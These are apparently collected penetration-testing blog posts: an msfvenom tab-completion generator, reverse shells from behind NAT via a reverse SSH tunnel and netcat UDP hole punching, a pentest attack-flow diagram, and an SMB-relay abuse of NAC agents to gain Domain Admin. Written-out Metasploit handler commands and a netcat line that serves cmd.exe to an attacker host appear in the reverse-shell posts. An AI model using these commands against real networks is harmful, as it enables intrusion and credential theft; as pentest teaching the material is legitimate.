msfvenom Bash Completion Generator

I've spent a lot of time in writing commands for msfvenom... Tired and automated it with Bash Completions. Outdated version can be found here.

But in this case, every new payload should be added manually. Not fun.

Again, some automation and now it will be automatically generated.

root@kali:/opt/metasploit-framework# git clone https://github.com/nopernik/msfvenom-bc-generator 
Cloning into 'msfvenom-bc-generator'...
remote: Counting objects: 9, done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 1), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (9/9), done.
root@kali:/opt/metasploit-framework# mv ./msfvenom-bc-generator/msfvenom_bc_generator.rb .
root@kali:/opt/metasploit-framework# ruby msfvenom_bc_generator.rb 
 
[+] Collecting output formats
[+] Collecting payloads
[+] Collecting encoders
[+] Collecting nops
[+] Generating bash_completion file
[+] Writing out /etc/bash_completion.d/msfvenom
[+] Done. Open a new terminal and type msfvenom TABTAB :)

root@kali:/opt/metasploit-framework# msfvenom -p linux/x86/ <tab><tab>
linux/x86/adduser                         linux/x86/meterpreter/reverse_tcp         linux/x86/shell_bind_tcp_random_port
linux/x86/chmod                           linux/x86/meterpreter/reverse_tcp_uuid    linux/x86/shell/bind_tcp_uuid
linux/x86/exec                            linux/x86/metsvc_bind_tcp                 linux/x86/shell_find_port
linux/x86/meterpreter/bind_ipv6_tcp       linux/x86/metsvc_reverse_tcp              linux/x86/shell_find_tag
linux/x86/meterpreter/bind_ipv6_tcp_uuid  linux/x86/read_file                       linux/x86/shell/find_tag
linux/x86/meterpreter/bind_nonx_tcp       linux/x86/shell_bind_ipv6_tcp             linux/x86/shell/reverse_ipv6_tcp
linux/x86/meterpreter/bind_tcp            linux/x86/shell/bind_ipv6_tcp             linux/x86/shell/reverse_nonx_tcp
linux/x86/meterpreter/bind_tcp_uuid       linux/x86/shell/bind_ipv6_tcp_uuid        linux/x86/shell_reverse_tcp
linux/x86/meterpreter/find_tag            linux/x86/shell/bind_nonx_tcp             linux/x86/shell/reverse_tcp
linux/x86/meterpreter/reverse_ipv6_tcp    linux/x86/shell_bind_tcp                  linux/x86/shell_reverse_tcp2
linux/x86/meterpreter/reverse_nonx_tcp    linux/x86/shell/bind_tcp                  linux/x86/shell/reverse_tcp_uuid
root@kali:/opt/metasploit-framework# msfvenom -p linux/x86/

Available on github: https://github.com/nopernik/msfvenom-bc-generator

Follow @nopernik

LAN to VPN Reverse Shell (Reverse SSH Technique)

Hi there,

How to get reverse shell if you are behind VPN (NAT) and you can't or don't want to make port-forwarding?
It's another, less popular reverse shell method, that needs some requirements and preparations.

By the way, you may try out UDP Hole Punching Technique or use this one instead.

Do do so, you will need some linux box with public IP and root access level.

Let's create Reverse shell via Reverse SSH Tunnel:

1. Start up exploit/multi/handler listening on 443 port (locally):

use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 127.0.0.1
msf exploit(handler) > set exitonsession false
msf exploit(handler) > run -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 127.0.0.1:443 
[*] Starting the payload handler...
msf exploit(handler) > 

2. Create Reverse SSH Tunnel with public linux box:

root@kali:~# ssh -R 443:127.0.0.1:443 root@pwnd.linux.box

Just to remind ssh tunneling syntax:
-R will open port 443 on pwnd.linux.box and will forward all traffic to attackers host in our case: 127.0.0.1:443

3. Run reverse shell on victim's host.
4. Profit!

But to make it work you should add this line to /etc/ssh/sshd_config file (on linux host):

GatewayPorts yes

Otherwise, linux box will listen on localhost only and will be unable to accept connections externally.

Follow @nopernik

Attack Flow Diagram

Hi there,
I've tried to organize common tasks within internal network penetration testing. Haven't seen something like this before..

PDF can be found here: http://sudo.co.il/attack_flow.pdf

Many aspects are excluded from this diagram, and i'm pretty sure that i forgot something.
Guys, i will be more than happy to hear suggestions on upgrading this diagram.

Follow @nopernik

LAN to VPN Reverse shell (UDP Hole punching)

Did you know that you can use netcat in UDP mode?

Why it is useful?

Imagine two hosts: Alice and Bob that both located behind NAT. And they want to exchange some data... In TCP scheme you can't accomplish that without port forwarding, but with UDP...

This technique called UDP hole punching:
1. Alice sends packet to Bob's public IP, lets say 2.2.2.2, any statefull packet inspection (SPI) firewall will start session from Alice local host to 2.2.2.2:1234.
2. Bob's firewall will drop that packet.
3. Bob sends another packet to Alice's public IP, lets say 3.3.3.3:1234, and again Bob's SPI firewall will start session.
4. Woala! Alice got UDP packet from bob.
From now, both Alive and Bob have opened sessions and may communicate each other without interference.

How it may look from an attacker's view?
Easy. Hacker that stay behind of some kind VPN may get reverse shell on your local host in enterprise network.
This way:

On attacker host:

nc -up vpn_port attackerVPNpublicIP victim_source_port

On victim host:

nc -up victim_source_port attackerVPNpublicIP vpn_port -e c:\windows\system32\cmd.exe

Proof of Concept:
Any bittorrent client :)


More info:
https://en.wikipedia.org/wiki/UDP_hole_punching
http://resources.infosecinstitute.com/udp-hole-punching/

Follow @nopernik

RCE by abusing NAC to gain Domain Persistence.

Hi there!
I want to share how to compromise whole enterprise network in less than ONE minute :)

If you'll refer to this article, please leave credit to Alexander Korznikov & Viktor Minin.. thanks.

Let's begin... As security consultants, we often advice to our clients to implement Network Access Control systems to prevent some nasty people to do their nasty things...

This article is not about how to bypass Network Access Control systems, but if you're interested, read this: http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Arkin.pdf
In two words, NAT can bypass almost everything and stay undetectable in enterprise network.

So when somebody (huge organisations) implementing NAC in their network environment, they are implementing a huge backdoor -  called NAC.

Let me explain some NAC logic:
1. Check for trusted MAC address.
2. Check installed components/registry keys in workstation via WMI interface.
3. Check another stuff in workstation's NAC agent.

Wait for a second. How NAC will connect to a workstation to check (2) Registry Keys via WMI?
Right. SMB Authentication with highly privileged account, in Domain Admin group.

Let's assume these:
1. We have a list of workstation's IPs gathered in passive reconnaissance (wireshark for example)
2. We know which IP belongs to Domain Contoller.

Is something or someone can prevent me from performing SMB-Relay attack? NO!
On servers this will not work, because of SMB Signing option is required.

We take some workstation IP address, and while NAC is performing it's host validation, we will relay SMB authentication to legitimate workstation.

It is trivial, but as result we are able to:
1. Reuse this authentication token and create a new Domain Admin account.
2. In case if this fails, we can create a local administrator account on ANY workstation.
3. Extract credentials of ALL local users including local admins.
4. Gain full control of the corporate network, including Domain Admin accounts.

All this is done in less than ONE minute, before the port will be closed (by NAC).

This issue was tested on several Network Access Control systems.

Bottom line: Think twice before advice.

Leave credits to:
Alexander Korznikov & Viktor Minin

Follow @nopernik